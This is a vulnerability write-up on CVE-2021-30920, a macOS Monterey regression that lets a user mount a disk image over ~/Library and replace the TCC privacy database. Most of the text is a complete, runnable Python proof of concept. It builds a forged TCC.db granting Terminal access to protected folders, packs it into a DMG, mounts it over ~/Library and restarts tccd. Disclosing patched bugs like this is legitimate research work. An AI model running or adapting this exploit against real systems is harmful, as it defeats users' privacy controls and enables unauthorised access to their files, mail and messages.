CVE-2021-30920 - CVE-2021-1784 strikes back - TCC bypass via mounting

Intro

CVE-2021-1784 was a vulnerability that allowed an attacker to bypass TCC by mounting over the ~/Library/Application Support/com.apple.TCC directory and providing a new TCC database. We covered this with Wojciech Regula in or 20+ ways to bypass your mac os privacy mechanisms BlackHat USA talk. This was properly fixed in Big Sur.

The Vulnerability

I don’t know why but I started to experiment with it again in the very first version of Monterey beta, and found that although the exploit doesn’t work, we can mount over the ~/Library directory. Interestingly this wasn’t possible in Big Sur, thus this bug is a regression.

A malicious app can completely bypass user level TCC restrictions. As user level TCC permissions allow scripting of Finder.app, and as Finder.app has full disk access, this also means that someone can gain full disk access rights as a normal user.

The vulnerability exists because someone can mount a DMG file over the ~/Library directory. Execution of the following command will be successful:

hdiutil attach -owners off -mountpoint Library test.dmg

We can create a DMG file which holds a custom TCC.db file. Once we mount the file, and restart the user level tccd daemon, our new, custom db will come into effect, with our custom rights. This allows us granting ourselves any right we would like.

POC

I made a small python script that will execute all of these. It contains a custom TCC.db file creator script that will grant Terminal access to most of the items, along with automation rights for Finder.

  1. It will create a new TCC.db under /tmp/TCC.db
  2. Next it creates a DMG file at /tmp/tmp.dmg and copies the TCC.db file over
  3. Lastly it will mount the DMG file and restart tccd
import os

tcc_dump = """
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE admin (key TEXT PRIMARY KEY NOT NULL, value INTEGER NOT NULL);
INSERT INTO admin VALUES('version',20);
CREATE TABLE policies (    id        INTEGER    NOT NULL PRIMARY KEY,     bundle_id    TEXT    NOT NULL,     uuid        TEXT    NOT NULL,     display        TEXT    NOT NULL,     UNIQUE (bundle_id, uuid));
CREATE TABLE active_policy (    client        TEXT    NOT NULL,     client_type    INTEGER    NOT NULL,     policy_id    INTEGER NOT NULL,     PRIMARY KEY (client, client_type),     FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE);
CREATE TABLE access (    service        TEXT        NOT NULL,     client         TEXT        NOT NULL,     client_type    INTEGER     NOT NULL,     auth_value     INTEGER     NOT NULL,     auth_reason    INTEGER     NOT NULL,     auth_version   INTEGER     NOT NULL,     csreq          BLOB,     policy_id      INTEGER,     indirect_object_identifier_type    INTEGER,     indirect_object_identifier         TEXT NOT NULL DEFAULT 'UNUSED',     indirect_object_code_identity      BLOB,     flags          INTEGER,     last_modified  INTEGER     NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)),     PRIMARY KEY (service, client, client_type, indirect_object_identifier),    FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.willowd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184393);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.shortcuts',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184393);
INSERT INTO access VALUES('kTCCServiceUbiquity','com.apple.shortcuts',0,2,5,1,NULL,NULL,NULL,'UNUSED',NULL,0,1623184394);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.remindd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184395);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.textinput.KeyboardServices',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184395);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.appleaccountd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184395);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.Safari',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.syncdefaultsd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.suggestd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.siriknowledged',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.securityd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.protectedcloudstorage.protectedcloudkeysyncing',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.knowledge-agent',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.imagent',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.identityservicesd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.icloud.fmfd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.donotdisturbd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.cloudpaird',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.assistant.assistantd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.StatusKitAgent',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceUbiquity','/System/Library/PrivateFrameworks/PhotoLibraryServices.framework/Versions/A/Support/photolibraryd',1,2,5,1,NULL,NULL,NULL,'UNUSED',NULL,0,1623184413);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.amsengagementd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184458);
INSERT INTO access VALUES('kTCCServiceSystemPolicyDownloadsFolder','com.apple.Terminal',0,2,2,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,0,1623239871);
INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder','com.apple.Terminal',0,2,2,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,0,1623239880);
INSERT INTO access VALUES('kTCCServiceSystemPolicyDesktopFolder','com.apple.Terminal',0,2,2,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,0,1623239885);
CREATE TABLE access_overrides (    service        TEXT    NOT NULL PRIMARY KEY);
CREATE TABLE expired (    service        TEXT        NOT NULL,     client         TEXT        NOT NULL,     client_type    INTEGER     NOT NULL,     csreq          BLOB,     last_modified  INTEGER     NOT NULL ,     expired_at     INTEGER     NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)),     PRIMARY KEY (service, client, client_type));
CREATE INDEX active_policy_id ON active_policy(policy_id);
COMMIT;
"""

def create_tcc_db():
	f = open('/tmp/tccdump.sql','w')
	f.write(tcc_dump)
	f.close()
	os.system("sqlite3 /tmp/TCC.db < /tmp/tccdump.sql")

def create_dmg():
	os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
	os.system("mkdir /tmp/mnt")
	os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
	os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
	os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
	os.system("hdiutil detach /tmp/mnt 1>/dev/null")
	
def mount_trick():
	os.system("hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg 1>/dev/null")

def restart_tcc():
	os.system("launchctl stop com.apple.tccd && launchctl start com.apple.tccd")

def main():
	print("[i] Creating new TCC database")
	create_tcc_db()
	print("[i] Creating and prepare DMG file")
	create_dmg()
	print("[i] Mount DMG over Library")
	mount_trick()
	print("[i] Restart TCC")
	restart_tcc()
	print("[i] Enjoy access :-)")
	
	
main()

Other Notes

Beyond modifying the TCC database, all new emails, messages, etc… will be written to our disk we mounted. Beyond that this also allows someone to drop custom shortcuts on the system, which otherwise would be impossible due to TCC protection.